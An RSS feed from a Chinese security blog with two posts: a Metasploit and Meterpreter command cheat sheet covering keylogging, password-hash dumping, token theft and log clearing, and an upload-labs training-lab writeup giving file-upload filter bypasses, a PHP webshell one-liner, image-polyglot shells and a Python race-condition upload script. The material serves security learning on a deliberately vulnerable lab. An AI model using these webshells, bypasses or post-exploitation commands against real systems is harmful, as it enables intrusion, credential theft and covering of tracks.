<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>笔记 &#8211; ChaBug安全</title>
	<atom:link href="/tags/%E7%AC%94%E8%AE%B0/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Thu, 09 Aug 2018 07:59:46 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>熟悉metasploit之掌握常用命令</title>
		<link>/tools/516.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 09 Aug 2018 07:57:46 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[msf]]></category>
		<category><![CDATA[命令]]></category>
		<category><![CDATA[笔记]]></category>
		<guid isPermaLink="false">/?p=516</guid>

					<description><![CDATA[日常逛大牛们的博客，发现车王有一篇文章，就转了。 本文记录一下基础命令 命令： show exploits 列出metasploit框架中的所有渗透攻击模块。 命令：show pa...]]></description>
										<content:encoded><![CDATA[<p><a href="/wp-content/uploads/2018/08/2018080915590551.png"><img loading="lazy" class="aligncenter size-full wp-image-518" src="/wp-content/uploads/2018/08/2018080915590551.png" alt="" width="640" height="480" /></a></p>
<p>日常逛大牛们的博客，发现车王有一篇文章，就转了。</p>
<p>本文记录一下基础<span class="wpcom_tag_link"><a href="/tags/%e5%91%bd%e4%bb%a4" title="命令" target="_blank">命令</a></span></p>
<blockquote><p>命令： show exploits</p></blockquote>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>列出metasploit框架中的所有渗透攻击模块。
</code></pre>
</div>
</div>
<blockquote><p>命令：show payloads</p></blockquote>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>列出metasploit框架中的所有攻击载荷。
</code></pre>
</div>
</div>
<blockquote><p>命令：show auxiliary</p></blockquote>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>列出metasploit框架中的所有辅助攻击载荷。
</code></pre>
</div>
</div>
<blockquote><p>命令：search name</p></blockquote>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>查找metasploit框架中所有的渗透攻击和其他模块。
</code></pre>
</div>
</div>
<blockquote><p>命令：info</p></blockquote>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>展示出制定渗透攻击或模块的相关信息。
</code></pre>
</div>
</div>
<blockquote><p>命令：use name</p></blockquote>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>装载一个渗透攻击或模块。
</code></pre>
</div>
</div>
<blockquote><p>命令：LHOST</p></blockquote>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>你本地可以让目标主机连接的IP地址，通常当目标主机不在同一个局域网内时，就需要是一个公共IP地址，特别为反弹式shell使用。
</code></pre>
</div>
</div>
<blockquote><p>命令：RHOST</p></blockquote>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>远程主机或是目标主机。
</code></pre>
</div>
</div>
<blockquote><p>命令：set function</p></blockquote>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>设置特定的配置参数（EG：设置本地或远程主机参数）。
</code></pre>
</div>
</div>
<blockquote><p>命令：setg function</p></blockquote>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>以全局方式设置特定的配置参数（EG：设置本地或远程主机参数）。
</code></pre>
</div>
</div>
<blockquote><p>命令：show options</p></blockquote>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>列出某个渗透攻击或模块中所有的配置参数。
</code></pre>
</div>
</div>
<blockquote><p>命令：show targets</p></blockquote>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>列出渗透攻击所有支持的目标平台。
</code></pre>
</div>
</div>
<blockquote><p>命令：set target num</p></blockquote>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>指定你所知道的目标的操作系统以及补丁版本类型。
</code></pre>
</div>
</div>
<blockquote><p>命令：set payload name</p></blockquote>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>指定想要使用的攻击载荷。
</code></pre>
</div>
</div>
<blockquote><p>命令：show advanced</p></blockquote>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>列出所有高级配置选项。
</code></pre>
</div>
</div>
<blockquote><p>命令：set autorunscript migrate -f.</p></blockquote>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>在渗透攻击完成后，将自动迁移到另一个进程。
</code></pre>
</div>
</div>
<blockquote><p>命令：check</p></blockquote>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>检测目标是否选定渗透攻击存在相应的安全漏洞。
</code></pre>
</div>
</div>
<blockquote><p>命令：exploit</p></blockquote>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>执行渗透攻击或模块来攻击目标。
</code></pre>
</div>
</div>
<blockquote><p>命令：exploit -j</p></blockquote>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>在计划任务下进行渗透攻击（攻击将在后台进行）。
</code></pre>
</div>
</div>
<blockquote><p>命令：exploit -z</p></blockquote>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>渗透攻击完成后不与回话进行交互。
</code></pre>
</div>
</div>
<blockquote><p>命令：exploit -e encoder</p></blockquote>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>制定使用的攻击载荷编码方式（EG：exploit -e shikata_ga_nai）。
</code></pre>
</div>
</div>
<blockquote><p>命令：exploit -h</p></blockquote>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>列出exploit命令的帮助信息。
</code></pre>
</div>
</div>
<blockquote><p>命令：sessions -l</p></blockquote>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>列出可用的交互会话（在处理多个shell时使用）。
</code></pre>
</div>
</div>
<blockquote><p>命令：sessions -l -v</p></blockquote>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>列出所有可用的交互会话以及详细信息，EG：攻击系统时使用了哪个安全漏洞。
</code></pre>
</div>
</div>
<blockquote><p>命令：sessions -s script</p></blockquote>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>在所有活跃的metasploit会话中运行一个特定的metasploit脚本。
</code></pre>
</div>
</div>
<blockquote><p>命令：sessions -K</p></blockquote>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>杀死所有活跃的交互会话。
</code></pre>
</div>
</div>
<blockquote><p>命令：sessions -c cmd</p></blockquote>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>在所有活跃的metasploit会话上执行一个命令。
</code></pre>
</div>
</div>
<blockquote><p>命令：sessions -u sessionID</p></blockquote>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>升级一个普通的win32 shell到metasploit shell。
</code></pre>
</div>
</div>
<blockquote><p>命令：db_create name</p></blockquote>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>创建一个数据库驱动攻击所要使用的数据库（EG：db_create autopwn）。
</code></pre>
</div>
</div>
<blockquote><p>命令：db_connect name</p></blockquote>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>创建并连接一个数据库驱动攻击所要使用的数据库（EG：db_connect user:passwd@ip/sqlname）。
</code></pre>
</div>
</div>
<blockquote><p>命令：db_namp</p></blockquote>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>利用nmap并把扫描数据存储到数据库中（支持普通的nmap语句，EG：-sT -v -P0）。
</code></pre>
</div>
</div>
<blockquote><p>命令：db_autopwn -h</p></blockquote>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>展示出db_autopwn命令的帮助信息。
</code></pre>
</div>
</div>
<blockquote><p>命令：db_autopwn -p -r -e</p></blockquote>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>对所有发现的开放端口执行db_autopwn，攻击所有系统，并使用一个反弹式shell。
</code></pre>
</div>
</div>
<blockquote><p>命令：db_destroy</p></blockquote>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>删除当前数据库。
</code></pre>
</div>
</div>
<blockquote><p>命令：db_destroy user：passwd@host：port/database</p></blockquote>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>使用高级选项来删除数据库。
</code></pre>
</div>
</div>
<h2 id="metasploit命令"><strong><em>metasploit命令</em></strong><a class="header-link" title="Permalink" href="http://payloads.online/archivers/2018-03-16/2#metasploit%E5%91%BD%E4%BB%A4"><span class="sr-only">Permalink</span><i class="fa fa-link"></i></a></h2>
<blockquote><p>help 打开meterpreter使用帮助。</p></blockquote>
<blockquote><p>run scriptname 运行meterpreter脚本，在scripts/meterpreter目录下可查看到所有脚本名。</p></blockquote>
<blockquote><p>sysinfo 列出受控主机的系统信息。</p></blockquote>
<blockquote><p>ls 列出目标主机的文件和文件夹信息。</p></blockquote>
<blockquote><p>use priv 加载特权提升扩展模块，来扩展metasploit库。</p></blockquote>
<blockquote><p>ps 显示所有运行的进程以及相关联的用户账户。</p></blockquote>
<blockquote><p>migrate PID 迁移到一个指定的进程ID（PID号可通过ps命令从主机上获得）。</p></blockquote>
<blockquote><p>use incognito 加载incognito功能（用来盗窃目标主机的令牌或假冒用户）</p></blockquote>
<blockquote><p>list_tokens -u 列出目标主机用户的可用令牌。</p></blockquote>
<blockquote><p>list_tokens -g 列出目标主机用户组的可用令牌。</p></blockquote>
<blockquote><p>impersonate_token DOMAIN_NAME\USERNAME 假冒目标主机上的可用令牌。</p></blockquote>
<blockquote><p>steal_token PID 盗窃给定进程的可用令牌并进行令牌假冒。</p></blockquote>
<blockquote><p>drop_token 停止假冒当前令牌。</p></blockquote>
<blockquote><p>getsystem 通过各种攻击向量来提升系统用户权限。</p></blockquote>
<blockquote><p>execute -f cmd.exe -i 执行cmd.exe命令并进行交互。</p></blockquote>
<blockquote><p>execute -f cmd.exe -i -t 以所有可用令牌来执行cmd命令并隐藏该进程。</p></blockquote>
<blockquote><p>rev2self 回到控制目标主机的初始用户账户下。</p></blockquote>
<blockquote><p>reg command 在目标主机注册表中进行交互，创建，删除，查询等操作。</p></blockquote>
<blockquote><p>setdesktop number 切换到另一个用户界面（该功能基于那些用户已登录）。</p></blockquote>
<blockquote><p>screenshot 对目标主机的屏幕进行截图。</p></blockquote>
<blockquote><p>upload file 向目标主机上传文件。</p></blockquote>
<blockquote><p>download file 从目标主机下载文件。</p></blockquote>
<blockquote><p>keyscan_start 针对远程目标主机开启键盘记录功能。</p></blockquote>
<blockquote><p>keyscan_dump 存储目标主机上捕获的键盘记录。</p></blockquote>
<blockquote><p>keyscan_stop 停止针对目标主机的键盘记录。</p></blockquote>
<blockquote><p>getprivs 尽可能多的获取目标主机上的特权。</p></blockquote>
<blockquote><p>uictl enable keyboard/mouse 接管目标主机的键盘和鼠标。</p></blockquote>
<blockquote><p>background 将你当前的metasploit shell转为后台执行。</p></blockquote>
<blockquote><p>hashdump 导出目标主机中的口令哈希值。</p></blockquote>
<blockquote><p>use sniffer 加载嗅探模式。</p></blockquote>
<blockquote><p>sniffer_interfaces 列出目标主机所有开放的网络端口。</p></blockquote>
<blockquote><p>sniffer_dump interfaceID pcapname 在目标主机上启动嗅探。</p></blockquote>
<blockquote><p>sniffer_start interfaceID packet-buffer 在目标主机上针对特定范围的数据包缓冲区启动嗅探。</p></blockquote>
<blockquote><p>sniffer_stats interfaceID 获取正在实施嗅探网络接口的统计数据。</p></blockquote>
<blockquote><p>sniffer_stop interfaceID 停止嗅探。</p></blockquote>
<blockquote><p>add_user username password -h ip 在远程目标主机上添加一个用户。</p></blockquote>
<blockquote><p>clearev 清楚目标主机上的日志记录。</p></blockquote>
<blockquote><p>timestomp 修改文件属性，例如修改文件的创建时间（反取证调查）。</p></blockquote>
<blockquote><p>reboot 重启目标主机。</p></blockquote>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>upload-labs-writeup：upload-labs 上传漏洞靶场的解题方法</title>
		<link>/web/470.html</link>
					<comments>/web/470.html#comments</comments>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Tue, 24 Jul 2018 06:44:40 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[upload]]></category>
		<category><![CDATA[Writeup]]></category>
		<category><![CDATA[上传]]></category>
		<category><![CDATA[突破]]></category>
		<category><![CDATA[笔记]]></category>
		<guid isPermaLink="false">/?p=470</guid>

					<description><![CDATA[0x00：前言 本篇文章主要记录绕过一个基于php语言的上传漏洞的靶场项目upload-labs (最新commit17ec936) 的19个上传关卡的方法。 文章适合有一定上传绕...]]></description>
										<content:encoded><![CDATA[<h3>0x00：前言</h3>
<p>本篇文章主要记录绕过一个基于php语言的<span class="wpcom_tag_link"><a href="/tags/%e4%b8%8a%e4%bc%a0" title="上传" target="_blank">上传</a></span>漏洞的靶场项目<a href="https://github.com/c0ny1/upload-labs">upload-labs</a> (最新commit<a href="https://github.com/c0ny1/upload-labs/commit/17ec93650d05d956e5868518cd6e8e36085ab2a3">17ec936</a>) 的19个上传关卡的方法。</p>
<p>文章适合有一定上传绕过知识基础的读者阅读，绕过原理请参考其它文章和项目源码，限于篇幅文章中不展开解释。</p>
<h3><a id="user-content-0x01测试配置" class="anchor" href="https://github.com/LandGrey/upload-labs-writeup/#0x01%E6%B5%8B%E8%AF%95%E9%85%8D%E7%BD%AE" aria-hidden="true"></a>0x01：测试配置</h3>
<p>可直接下载作者的配置好的PHPStudy<a href="https://github.com/c0ny1/upload-labs/releases">靶场运行环境</a>，节省时间。</p>
<table>
<thead>
<tr>
<th align="left">浏览器</th>
<th align="left">Firefox</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><strong>插件</strong></td>
<td align="left">NoScript</td>
</tr>
<tr>
<td align="left"><strong>插件</strong></td>
<td align="left">HackBar</td>
</tr>
<tr>
<td align="left"><strong>抓包工具</strong></td>
<td align="left">Burpsuite Pro</td>
</tr>
<tr>
<td align="left"><strong>Webshell代码</strong></td>
<td align="left"><code>&lt;?php assert($_POST["LandGrey"])?&gt;</code></td>
</tr>
</tbody>
</table>
<h3><a id="user-content-0x02绕过方法" class="anchor" href="https://github.com/LandGrey/upload-labs-writeup/#0x02%E7%BB%95%E8%BF%87%E6%96%B9%E6%B3%95" aria-hidden="true"></a>0x02：绕过方法</h3>
<h4><a id="user-content-pass-01" class="anchor" href="https://github.com/LandGrey/upload-labs-writeup/#pass-01" aria-hidden="true"></a>Pass-01</h4>
<p>前端禁用JS，直接上传Webshell</p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/01-1.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/01-1.png" alt="" /></a></p>
<h4><a id="user-content-pass-02" class="anchor" href="https://github.com/LandGrey/upload-labs-writeup/#pass-02" aria-hidden="true"></a>Pass-02</h4>
<p>截断上传数据包，修改Content-Type为<code>image/gif</code>，然后放行数据包</p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/02-1.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/02-1.png" alt="" /></a></p>
<h4><a id="user-content-pass-03" class="anchor" href="https://github.com/LandGrey/upload-labs-writeup/#pass-03" aria-hidden="true"></a>Pass-03</h4>
<p>重写文件解析规则绕过。上传先上传一个名为<code>.htaccess</code>文件，内容如下：</p>
<pre><code>&lt;FilesMatch "03.jpg"&gt;
SetHandler application/x-httpd-php
&lt;/FilesMatch&gt;
</code></pre>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/03-1.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/03-1.png" alt="" /></a></p>
<p>然后再上传一个<code>03.jpg</code></p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/03-2.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/03-2.png" alt="" /></a></p>
<p>执行上传的<code>03.jpg</code>脚本</p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/03-3.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/03-3.png" alt="" /></a></p>
<h4><a id="user-content-pass-04" class="anchor" href="https://github.com/LandGrey/upload-labs-writeup/#pass-04" aria-hidden="true"></a>Pass-04</h4>
<p>利用PHP 和 Windows环境的叠加特性，以下符号在正则匹配时的相等性：</p>
<pre><code>双引号"     =   点号.
大于符号&gt;   =   问号?
小于符号&lt;   =   星号*
</code></pre>
<p>先上传一个名为<code>4.php:.jpg</code>的文件，上传成功后会生成<code>4.php</code>的空文件，大小为0KB.</p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/04-1.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/04-1.png" alt="" /></a></p>
<p>然后将文件名改为<code>4.&lt;</code>或<code>4.&lt;&lt;&lt;</code>或<code>4.&gt;&gt;&gt;</code>或<code>4.&gt;&gt;&lt;</code>后再次上传，重写<code>4.php</code>文件内容，Webshell代码就会写入原来的<code>4.php</code>空文件中。</p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/04-2.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/04-2.png" alt="" /></a></p>
<h4><a id="user-content-pass-05" class="anchor" href="https://github.com/LandGrey/upload-labs-writeup/#pass-05" aria-hidden="true"></a>Pass-05</h4>
<p>文件名后缀大小写混合绕过。<code>05.php</code>改成<code>05.phP</code>然后上传</p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/05-1.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/05-1.png" alt="" /></a></p>
<h4><a id="user-content-pass-06" class="anchor" href="https://github.com/LandGrey/upload-labs-writeup/#pass-06" aria-hidden="true"></a>Pass-06</h4>
<p>利用Windows系统的文件名特性。文件名最后增加<strong>点和空格</strong>，写成<code>06.php.</code>，上传后保存在Windows系统上的文件名最后的一个<code>.</code>会被去掉，实际上保存的文件名就是<code>06.php</code></p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/06-1.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/06-1.png" alt="" /></a></p>
<h4><a id="user-content-pass-07" class="anchor" href="https://github.com/LandGrey/upload-labs-writeup/#pass-07" aria-hidden="true"></a>Pass-07</h4>
<p>原理同<strong>Pass-06</strong>，文件名后加点，改成<code>07.php.</code></p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/07-1.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/07-1.png" alt="" /></a></p>
<h4><a id="user-content-pass-08" class="anchor" href="https://github.com/LandGrey/upload-labs-writeup/#pass-08" aria-hidden="true"></a>Pass-08</h4>
<p>Windows文件流特性绕过，文件名改成<code>08.php::$DATA</code>，上传成功后保存的文件名其实是<code>08.php</code></p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/08-1.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/08-1.png" alt="" /></a></p>
<h4><a id="user-content-pass-09" class="anchor" href="https://github.com/LandGrey/upload-labs-writeup/#pass-09" aria-hidden="true"></a>Pass-09</h4>
<p><strong>原理同Pass-06</strong>，上传文件名后加上<strong>点+空格+点</strong>，改为<code>09.php. .</code></p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/09-1.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/09-1.png" alt="" /></a></p>
<h4><a id="user-content-pass-10" class="anchor" href="https://github.com/LandGrey/upload-labs-writeup/#pass-10" aria-hidden="true"></a>Pass-10</h4>
<p>双写文件名绕过，文件名改成<code>10.pphphp</code></p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/10-1.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/10-1.png" alt="" /></a></p>
<h4><a id="user-content-pass-11" class="anchor" href="https://github.com/LandGrey/upload-labs-writeup/#pass-11" aria-hidden="true"></a>Pass-11</h4>
<p>上传路径名%00截断绕过。上传的文件名写成<code>11.jpg</code>, save_path改成<code>../<span class="wpcom_tag_link"><a href="/tags/upload" title="upload" target="_blank">upload</a></span>/11.php%00</code>，最后保存下来的文件就是<code>11.php</code></p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/11-1.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/11-1.png" alt="" /></a></p>
<h4><a id="user-content-pass-12" class="anchor" href="https://github.com/LandGrey/upload-labs-writeup/#pass-12" aria-hidden="true"></a>Pass-12</h4>
<p>php.ini设置 <code>magic_quotes_gpc = Off</code></p>
<p>原理同<strong>Pass-11</strong>，上传路径0x00绕过。利用Burpsuite的Hex功能将save_path改成<code>../upload/12.php【二进制00】</code>形式</p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/12-1.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/12-1.png" alt="" /></a></p>
<h4><a id="user-content-pass-13" class="anchor" href="https://github.com/LandGrey/upload-labs-writeup/#pass-13" aria-hidden="true"></a>Pass-13</h4>
<p>绕过文件头检查，添加GIF图片的文件头<code>GIF89a</code>，绕过GIF图片检查。</p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/13-1.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/13-1.png" alt="" /></a></p>
<p>使用命令<code>copy normal.jpg /b + shell.php /a webshell.jpg</code>，将php一句话追加到jpg图片末尾，代码不全的话，人工补充完整。形成一个包含Webshell代码的新jpg图片，然后直接上传即可。<a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/webshell/webshell.jpg">JPG一句话shell参考示例</a></p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/13-2.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/13-2.png" alt="" /></a></p>
<p>png图片处理方式同上。<a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/webshell/webshell.png">PNG一句话shell参考示例</a></p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/13-3.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/13-3.png" alt="" /></a></p>
<h4><a id="user-content-pass-14" class="anchor" href="https://github.com/LandGrey/upload-labs-writeup/#pass-14" aria-hidden="true"></a>Pass-14</h4>
<p>原理和示例同<strong>Pass-13</strong>，添加GIF图片的文件头绕过检查</p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/14-1.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/14-1.png" alt="" /></a></p>
<p>png图片webshell上传同<strong>Pass-13</strong>。</p>
<p>jpg/jpeg图片webshell上传存在问题，正常的图片也上传不了，等待作者调整。</p>
<h4><a id="user-content-pass-15" class="anchor" href="https://github.com/LandGrey/upload-labs-writeup/#pass-15" aria-hidden="true"></a>Pass-15</h4>
<p>原理同<strong>Pass-13</strong>，添加GIF图片的文件头绕过检查</p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/15-1.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/15-1.png" alt="" /></a></p>
<p>png图片webshell上传同<strong>Pass-13</strong>。</p>
<p>jpg/jpeg图片webshell上传同<strong>Pass-13</strong>。</p>
<h4><a id="user-content-pass-16" class="anchor" href="https://github.com/LandGrey/upload-labs-writeup/#pass-16" aria-hidden="true"></a>Pass-16</h4>
<p>原理：将一个正常显示的图片，上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分，将Webshell代码插在该部分，然后上传。具体实现需要自己编写Python程序，人工尝试基本是不可能构造出能绕过渲染函数的图片webshell的。</p>
<p>这里提供一个包含一句话webshell代码并可以绕过PHP的imagecreatefromgif函数的GIF图片<a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/webshell/bypass-imagecreatefromgif-pass-00.gif">示例</a>。</p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/16-1.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/16-1.png" alt="" /></a></p>
<p>打开被渲染后的图片，Webshell代码仍然存在</p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/16-2.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/16-2.png" alt="" /></a></p>
<p>提供一个jpg格式图片绕过imagecreatefromjpeg函数渲染的一个<a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/webshell/bypass-imagecreatefromjpeg-pass-LandGrey.jpg">示例文件</a>。 直接上传示例文件会触发Warning警告，并提示文件不是jpg格式的图片。但是实际上已经上传成功，而且示例文件名没有改变。</p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/16-3.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/16-3.png" alt="" /></a></p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/16-4.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/16-4.png" alt="" /></a></p>
<p>从上面上传jpg图片可以看到我们想复杂了，程序没有对渲染异常进行处理，直接在正常png图片内插入webshell代码，然后上传<a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/webshell/bypass-imagecreatefrompng-pass-LandGrey.png">示例文件</a>即可，并不需要图片是正常的图片。</p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/16-5.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/16-5.png" alt="" /></a></p>
<p>程序依然没有对文件重命名，携带webshell的无效损坏png图片直接被上传成功。</p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/16-6.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/16-6.png" alt="" /></a></p>
<h4><a id="user-content-pass-17" class="anchor" href="https://github.com/LandGrey/upload-labs-writeup/#pass-17" aria-hidden="true"></a>Pass-17</h4>
<p>利用条件竞争删除文件时间差绕过。使用命令<code>pip install hackhttp</code>安装<a href="https://github.com/BugScanTeam/hackhttp">hackhttp</a>模块，运行下面的Python代码即可。如果还是删除太快，可以适当调整线程并发数。</p>
<pre class="lang:default decode:true " >#!/usr/bin/env python
# coding:utf-8
# Build By LandGrey

import hackhttp
from multiprocessing.dummy import Pool as ThreadPool


def upload(lists):
    hh = hackhttp.hackhttp()
    raw = """POST /upload-labs/Pass-17/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/upload-labs/Pass-17/index.php
Cookie: pass=17
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------6696274297634
Content-Length: 341

-----------------------------6696274297634
Content-Disposition: form-data; name="upload_file"; filename="17.php"
Content-Type: application/octet-stream

&lt;?php assert($_POST["LandGrey"])?&gt;
-----------------------------6696274297634
Content-Disposition: form-data; name="submit"

上传
-----------------------------6696274297634--
"""
    code, head, html, redirect, log = hh.http('http://127.0.0.1/upload-labs/Pass-17/index.php', raw=raw)
    print(str(code) + "\r")


pool = ThreadPool(10)
pool.map(upload, range(10000))
pool.close()
pool.join()</pre>
<p>在脚本运行的时候，访问Webshell</p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/17-1.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/17-1.png" alt="" /></a></p>
<h4><a id="user-content-pass-18" class="anchor" href="https://github.com/LandGrey/upload-labs-writeup/#pass-18" aria-hidden="true"></a>Pass-18</h4>
<p>刚开始没有找到绕过方法，最后下载作者Github提供的打包环境，利用上传重命名竞争+Apache解析漏洞，成功绕过。</p>
<p>上传名字为<code>18.php.7Z</code>的文件，快速重复提交该数据包，会提示文件已经被上传，但没有被重命名。</p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/18-1.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/18-1.png" alt="" /></a></p>
<p>快速提交上面的数据包，可以让文件名字不被重命名上传成功。</p>
